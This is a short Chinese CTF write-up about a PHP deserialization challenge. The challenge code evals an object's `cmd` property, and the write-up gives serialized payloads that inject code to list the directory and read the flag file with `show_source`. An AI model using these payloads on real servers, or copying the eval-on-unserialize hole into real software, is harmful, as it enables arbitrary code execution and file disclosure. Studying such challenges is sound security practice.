今天来个反序列化,看源码。
点击查看代码
<?php
error_reporting(0);
//flag在flag.php里
class flag
{
public $cmd='index.php';
public function __destruct(){
if (preg_match('/\w+\((?R)?\)/', $this->cmd)){
eval('$a="'.$this->cmd.'";');
}
else {
die('hack!!!');
}
}
}
if (!isset($_GET['fl']) || !isset($_GET['ag'])) {
die(@highlight_file('index.php',true));
}
else {
if (!(preg_match('/[A-Za-z0-9]+\(/i', $_GET['fl']))) {
die('hack!!!');
}
else {
echo unserialize($_GET['ag']);
}
}
点击查看代码
<?php
class flag
{
public $cmd='index.php';
}
$a = new flag();
$a->cmd = '1";print_r(scandir(current(localeconv())));"';
echo serialize($a);
这里涉及到一个知识点,打印一个对象时,如果定义了__toString()方法,就能在测试时,通过echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。如果没有这个方法,那么echo一个对象时,就会报错Object of class Account could not be converted to string,实际上这是一个类型匹配失败的错误。不过仍然可以用print_r()和var_dump()函数输出一个对象,但我们不能改源码,而如果我们将其变为数组,value成为对象则可以正常输出。
点击查看代码
$obj = new flag();
$obj->cmd='1";print_r(scandir(current(localeconv())));"';
echo serialize(array(
'a' => $obj
));
echo '<br>';
echo unserialize($_GET['a']);
点击查看代码
a:1:{s:1:"a";O:4:"flag":1:{s:3:"cmd";s:51:"1";show_source(scandir(current(localeconv()))[4]);"";}}